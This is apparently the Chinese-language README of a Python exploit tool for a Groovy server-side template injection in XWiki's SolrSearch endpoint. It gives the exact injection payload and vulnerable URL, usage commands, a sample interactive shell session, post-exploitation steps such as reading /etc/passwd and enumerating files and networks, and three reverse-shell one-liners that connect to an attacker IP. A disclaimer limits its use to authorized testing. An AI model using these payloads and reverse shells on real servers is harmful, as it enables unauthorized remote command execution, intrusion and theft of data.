一个针对 XWiki SolrSearch 端点中通过 Groovy 模板注入实现的服务端模板注入(SSTI)漏洞的 Python 利用工具。
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
这将为你提供一个交互式伪 Shell,你可以在其中运行命令:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL:目标 URL(必需)-c, --command CMD:执行单条命令--test:测试目标是否存在漏洞--no-verify-ssl:禁用 SSL 证书验证--debug:启用调试输出信息收集:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
查找感兴趣的文件:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
网络信息:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
建立反向 Shell:
# 在攻击者机器上启动监听:
nc -lvnp 1337
# 使用漏洞利用工具(尝试不同方法):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
该漏洞利用工具使用以下 SSTI Payload 结构:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
Payload 经过 URL 编码后发送到易受攻击的端点:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
服务器处理 Groovy 模板并执行命令。
从 RSS 源响应中按以下格式捕获输出:
search on [}}OUTPUT]
该工具解析 HTML 响应以提取命令输出。
xwiki 用户(uid=997)身份执行。/usr/lib/xwiki-jetty。本工具仅用于教育和已获授权的渗透测试目的。请仅在您有权测试的系统上使用。